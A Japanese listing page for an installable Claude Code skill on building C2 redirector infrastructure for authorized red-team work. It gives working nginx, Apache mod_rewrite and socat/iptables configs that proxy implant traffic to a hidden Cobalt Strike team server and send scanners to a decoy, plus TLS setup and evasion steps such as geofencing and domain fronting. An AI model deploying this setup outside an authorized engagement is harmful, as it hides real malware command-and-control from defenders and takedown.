building-c2-redirector-infrastructure について
許可されたレッドチーム演習と防御研究向けに、C2 リダイレクターの構築を扱うセキュリティスキルです。トラフィックフィルタリング、TLS、デコイへの転送、公開エッジとチームサーバーの分離を説明します。
主な機能
- 01単純なトラフィック転送
- 02nginx と Apache によるフィルタリング
- 03Malleable C2 プロファイルからのルール生成
- 04Let's Encrypt による TLS 設定
- 05デコイ転送と OPSEC 対策
活用シーン
- 01チームサーバーを公開ホストから分離
- 02演習中にプロファイル一致トラフィックを選別
- 03不一致のリクエストをデコイサイトへ転送
- 04外部プロキシ型 C2 の特徴を防御側が学習
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill building-c2-redirector-infrastructureインストール後、Claude Code で/building-c2-redirector-infrastructureを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdstandards.mdscripts/agent.py詳細
C2 リダイレクターインフラストラクチャの構築
許可された用途のみ: このスキルは、許可を得たレッドチームのエンゲージメント、敵対者エミュレーション演習、防御研究のみを対象としています。コマンド&コントロールインフラストラクチャはデュアルユースです。明示的にテストを許可されていないシステム上のマルウェアを制御するためにリダイレクターを展開することは違法です。署名済みの交戦規定文書で合意されたスコープ内でのみ運用し、エンゲージメントの終了時にはインフラストラクチャを廃止してください。
概要
C2 リダイレクターは、被害者のインプラントと実際のチームサーバーの間に位置する中継ホストです。ビーコンはリダイレクターのパブリックドメイン/IP に接続します。リダイレクターは各リクエストを検査し、正規の C2 トラフィックは非公開のチームサーバーへプロキシする一方、それ以外(スキャナー、ブルーチームのアナリスト、サンドボックス)はすべて無害なデコイサイトへ転送します。これにより、チームサーバーを発見、テイクダウン、特定から保護でき、バックエンドを再構築せずにオペレーターがパブリックエッジを切り替えられます。この手法は MITRE ATT&CK の T1090.002(Proxy: External Proxy) に該当します。敵対者は C2 を中継ノード経由でルーティングし、実際の発信元を隠します。
リダイレクターには 2 種類あります。単純転送型(socat、iptables NAT)はポートを無条件に転送するため、分離はできますがフィルタリングはできません。スマート/フィルタリング型リダイレクター(nginx の proxy_pass、[P] を使った Apache の mod_rewrite、または RedWarden などの専用ツール)は HTTP リクエストを解析し、インプラントの Malleable C2 プロファイルに一致するトラフィック(正しい URI、User-Agent、ヘッダー)のみを転送し、それ以外はすべて実在する Web サイトへ 302 で転送します。フィルタリングロジックは C2 フレームワークのトラフィックプロファイルから直接導き出されるため、両者を常に同期させる必要があります。cs2modrewrite などのツールを使うと、Cobalt Strike の Malleable C2 プロファイルから Apache/nginx のルールを自動生成できます。
このスキルでは、nginx と Apache を使用した単純転送型およびフィルタリング型リダイレクターの構築、Malleable プロファイルからのフィルタールールの導出、Let's Encrypt による TLS の追加、そして OPSEC 対策(カテゴリ分類済みドメイン、ドメインフロンティング/CDN フロンティング、ヘッダー検証、地域/UA フィルタリング)による、耐障害性が高く帰属されにくいインフラストラクチャの構築を扱います。
使用する場面
- ブルーチームのトリアージやドメインのテイクダウン要求に耐える必要があるレッドチーム C2 を立ち上げる場合。
- エンゲージメント中に、非公開のチームサーバーをインターネットに公開されるホストから分離する場合。
- インプラントのトラフィックをフィルタリングし、プロファイルに一致するリクエストのみをバックエンドへ到達させ、スキャナーを転送する場合。
- HTTP(S) リスナーに TLS 終端、ドメインのカテゴリ分類、CDN/ドメインフロンティングを追加する場合。
- 外部プロキシを使った C2(T1090.002)の構築方法を防御側に教え、検知に役立てる場合。
前提条件
- 使い捨て可能なクラウド VPS インスタンス(リダイレクターのエッジ)を 1 台以上と、別のファイアウォールで保護されたチームサーバーホスト。
- DNS を管理できる登録済みドメイン。できれば取得から時間が経過し、カテゴリ分類済みのもの。
- リダイレクターホストの root 権限。Web サーバーと TLS ツールをインストールします:
# Debian/Ubuntu redirector sudo apt update sudo apt install -y nginx apache2 socat certbot python3-certbot-nginx git # Enable Apache proxy modules if using mod_rewrite redirector sudo a2enmod rewrite proxy proxy_http ssl headers - C2 フレームワークの Malleable C2 プロファイル(Cobalt Strike の
.profile、Sliver/Havoc の HTTP プロファイル)。URI、User-Agent、ヘッダーを定義します。 - Cobalt Strike プロファイルからルールを自動生成するための
cs2modrewrite:git clone https://github.com/threatexpress/cs2modrewrite - チームサーバーのファイアウォールを設定し、C2 ポートへの接続をリダイレクターの送信元 IP からのみ受け付けるようにします。
目標
- 高速なポート分離のため、単純転送型のリダイレクター(socat/iptables)を展開する。
- Malleable プロファイルに基づくフィルタリング型 nginx リバースプロキシリダイレクターを展開する。
[P]によるプロキシと、デコイへの302フォールバックを備えた Apachemod_rewriteリダイレクターを展開する。cs2modrewriteを使って Cobalt Strike プロファイルからリダイレクターのルールを自動生成する。- Let's Encrypt で TLS を終端し、パブリックエッジを強化する。
- OPSEC 対策を適用する:ヘッダー/UA 検証、地域フィルタリング、デコイへの転送、インフラストラクチャのローテーション。
MITRE ATT&CK マッピング
| テクニック ID | 正式名称 | 関連性 |
|---|---|---|
| T1090.002 | プロキシ:外部プロキシ | リダイレクターは外部の中継サーバーとして機能し、チームサーバーを隠すために C2 をプロキシします |
| T1090.004 | プロキシ:ドメインフロンティング | CDN フロンティングにより、ビーコンのトラフィックは信頼性の高い高評価ドメインを経由します |
| T1071.001 | アプリケーション層プロトコル:Web プロトコル | C2 は、Malleable プロファイルによって調整された HTTP/HTTPS 経由でトンネリングされます |
| T1573.002 | 暗号化チャネル:非対称暗号化 | リダイレクターで TLS を終端することで、ビーコンチャネルを暗号化します |
| T1583.006 | インフラストラクチャの取得:Web サービス | 耐障害性のある C2 のために、使い捨ての VPS/CDN エッジを取得します |
ワークフロー
1. チームサーバーをラボに配置し、ファイアウォールを設定する
チームサーバーをプライベートホストに配置します。C2 ポートへのアクセスをリダイレクターの IP のみに制限します。
# On the team server: only the redirector (203.0.113.10) may reach 443/tcp
sudo ufw default deny incoming
sudo ufw allow from 203.0.113.10 to any port 443 proto tcp
sudo ufw allow OpenSSH
sudo ufw enable
2. ダムパイプ型リダイレクター(socat / iptables)
フィルタリングを行わずにすばやく分離するには、C2 ポートをチームサーバーに転送します。
# socat foreground forward of 443 -> team server
socat TCP4-LISTEN:443,fork,reuseaddr TCP4:10.0.0.2:443
# Or iptables DNAT (persistent)
sysctl -w net.ipv4.ip_forward=1
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 10.0.0.2:443
iptables -t nat -A POSTROUTING -p tcp -d 10.0.0.2 --dport 443 -j MASQUERADE
3. フィルタリング機能を備えた nginx リバースプロキシ型リダイレクター
URI が Malleable プロファイルに一致するリクエストのみをプロキシし、それ以外はすべてデコイに 302 でリダイレクトします。ロケーションの正規表現と User-Agent を、プロファイルの値に置き換えます。
# /etc/nginx/sites-available/redirector.conf
server {
listen 443 ssl;
server_name cdn.example.com;
ssl_certificate /etc/letsencrypt/live/cdn.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/cdn.example.com/privkey.pem;
# Proxy ONLY profile-matching C2 URIs to the hidden team server
location ~ ^/(api/v2/jobs|cm/[a-z0-9]+|push) {
# Require the implant's exact User-Agent
if ($http_user_agent != "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36") {
return 302 https://www.legitimate-decoy.com/;
}
proxy_pass https://10.0.0.2;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $remote_addr;
}
# Everything else -> benign decoy
location / {
return 302 https://www.legitimate-decoy.com/;
}
}
sudo ln -s /etc/nginx/sites-available/redirector.conf /etc/nginx/sites-enabled/
sudo nginx -t && sudo systemctl reload nginx
4. Apache mod_rewrite リダイレクター
Apache の [P] フラグは、一致するリクエストをチームサーバーにプロキシし、一致しないリクエストは 302 でリダイレクトします。これは cs2modrewrite が生成する形式です。
# /etc/apache2/sites-available/redirector.conf (inside <VirtualHost *:443>)
RewriteEngine On
SSLProxyEngine On
# Require the implant User-Agent
RewriteCond %{HTTP_USER_AGENT} "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" [NC]
# Match valid C2 URIs (GET/POST/stager) from the malleable profile
RewriteCond %{REQUEST_URI} ^/(api/v2/jobs|cm/[a-z0-9]+|push)/?$
# Proxy to the hidden team server, preserving the URI
RewriteRule ^.*$ https://10.0.0.2%{REQUEST_URI} [P,L]
# Everything else -> decoy site
RewriteRule ^.*$ https://www.legitimate-decoy.com/ [R=302,L]
sudo a2ensite redirector && sudo apache2ctl configtest && sudo systemctl reload apache2
5. Malleable プロファイルからルールを生成する
cs2modrewrite を使って、Cobalt Strike のプロファイルから Apache または nginx のルールを直接生成し、フィルターがビーコンのトラフィックに正確に一致するようにします。
cd cs2modrewrite
# Apache mod_rewrite rules
python3 cs2modrewrite.py -i havex.profile -c https://10.0.0.2 \
-r https://www.legitimate-decoy.com -o /etc/apache2/redirect.rules
# nginx config
python3 cs2nginx.py -i havex.profile -c https://10.0.0.2 \
-r https://www.legitimate-decoy.com -H cdn.example.com > /etc/nginx/sites-available/c2.conf
6. Let's Encrypt で TLS を終端する
有効な証明書を発行し、ビーコンの HTTPS で TLS 警告が表示されないようにして、エッジが正規のものに見えるようにします。
sudo certbot --nginx -d cdn.example.com --agree-tos -m [email protected] --redirect
# Verify auto-renewal
sudo certbot renew --dry-run
7. OPSEC 対策を適用する
ブルーチームによる分析への防御を重ねます。ヘッダーを検証し、対象国にジオフェンシングを適用し、サンドボックスを迂回させ、エッジをローテーションします。サポートされている場合は、CDN/ドメインフロンティング(T1090.004)を検討します。
# Example: drop non-target geographies at the firewall with ipset/GeoIP,
# require a custom auth header in the profile, and rotate the redirector
# domain/IP on a schedule. Check the redirector only forwards matched traffic:
curl -k https://cdn.example.com/ # expect 302 to decoy
curl -k -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \
https://cdn.example.com/api/v2/jobs # expect proxied response
ツールとリソース
| ツール | 用途 | ソース |
|---|---|---|
| nginx | フィルタリング機能を備えたリバースプロキシ型リダイレクター | https://nginx.org/ |
| Apache mod_rewrite | [P] プロキシ + 302 デコイリダイレクター | https://httpd.apache.org/docs/current/mod/mod_rewrite.html |
| cs2modrewrite | CS プロファイルから Apache/nginx ルールを生成 | https://github.com/threatexpress/cs2modrewrite |
| RedWarden | Malleable に対応したフィルタリング機能付き C2 リバースプロキシ | https://github.com/mgeeky/RedWarden |
| redi | nginx + Let's Encrypt を使用した CS リダイレクターの自動化 | https://github.com/taherio/redi |
| socat | ダムパイプ型 TCP フォワーダー | http://www.dest-unreach.org/socat/ |
| Let's Encrypt / certbot | 無料の TLS 証明書 | https://certbot.eff.org/ |
| ired.team | レッドチームインフラストラクチャのリファレンス | https://www.ired.team/offensive-security/red-team-infrastructure |
検証基準
- チームサーバーのファイアウォールを設定し、C2 ポートでリダイレクターの送信元 IP のみを受け入れる。
- リダイレクターをデプロイする(ダムパイプ型および/またはフィルタリング機能付きリバースプロキシ)。
- 実際の Malleable C2 プロファイル(URI + User-Agent + ヘッダー)からフィルタールールを導出する。
- 一致しないリクエストが、無害なデコイサイトに
302でリダイレクトされることを確認する(curl で検証)。 - 一致するビーコンリクエストが、隠されたチームサーバーにプロキシされることを確認する(curl で検証)。
- 有効な TLS 証明書を発行し、自動更新を確認する。
- OPSEC 対策を適用する(UA/ヘッダー検証、ジオフェンシング、デコイへの転送)。
- 該当する場合は、ドメインカテゴリ分類/CDN フロンティングを検討する。
- インフラストラクチャのローテーションおよび廃止計画を文書化する。
- すべての活動を、許可されたエンゲージメントの範囲内に限定する。